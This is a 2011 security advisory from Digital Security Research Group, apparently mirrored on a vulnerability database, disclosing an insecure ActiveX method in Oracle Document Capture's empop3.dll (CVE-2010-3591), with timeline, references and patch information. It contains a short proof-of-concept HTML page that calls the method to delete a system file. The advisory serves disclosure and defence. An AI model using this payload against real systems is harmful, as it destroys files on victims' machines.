[DSECRG-11-005] Oracle Document Capture empop3.dll - insecure method

2011-01-26T00:00:00
ID SECURITYVULNS:DOC:25555
Type securityvulns
Reporter Securityvulns
Modified 2011-01-26T00:00:00

Description

ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory DSECRG-11-005 (internal

DSECRG-00154)

Application: Oracle Document Capture Versions Affected: Release 10gR3 Vendor URL: www.oracle.com Bugs: insecure method, File overwriting, File deleting Exploits: YES Reported: 22.03.2010 Vendor response: 31.03.2010 Date of Public Advisory:24.01.2011 CVE-number: CVE-2010-3591 Author: Evdokimov Dmitriy from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)

Description


Oracle Document Capture contains ActiveX components that contains insecure methods in empop3.dll

Details


Oracle Document Capture contains ActiveX component EMPOP3Lib (empop3.dll) Lib GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}

which is contains insecure method "DownloadSingleMessageToFile" that can delete any file in system.

Class EasyMailPop3 GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24} Number of Interfaces: 1 Default Interface: IPOP3Main RegKey Safe for Script: False RegkeySafe for Init: False KillBitSet: False

Details


Attacker can construct html page which call vulnerable function "DownloadSingleMessageToFile" from ActiveX component empop3.dll

Example:

<HTML> <HEAD> <TITLE>DSecRG</TITLE> </HEAD> <BODY>

     &lt;OBJECT id=&#39;eds&#39;

classid='clsid:F647CBE5-3C01-402A-B3F0-502A77054A24'></OBJECT>

     &lt;SCRIPT&gt;

     function Exploit&#40;&#41;{
             eds.DownloadSingleMessageToFile&#40;1,&quot;C:&#92;&#92;boot.ini&quot;,1&#41;;             
     }
     Exploit&#40;&#41;;

     &lt;/SCRIPT&gt;

</BODY> </HTML>

References


http://dsecrg.com/pages/vul/show.php?id=305 http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

Fix Information


Information was published in CPU Jan 2011. All customers can download CPU patches following instructions from:

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

About


Digital Security:

Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.

Contact: research [at] dsecrg [dot] com http://www.dsecrg.com http://www.erpscan.com

Polyakov Alexandr. PCI QSA,PA-QSA CTO Digital Security Head of DSecRG


DIGITAL SECURITY phone: +7 812 703 1547 +7 812 430 9130 e-mail: a.polyakov@dsec.ru

www.dsec.ru www.dsecrg.com www.dsecrg.ru www.erpscan.com www.erpscan.ru www.pcidssru.com www.pcidss.ru


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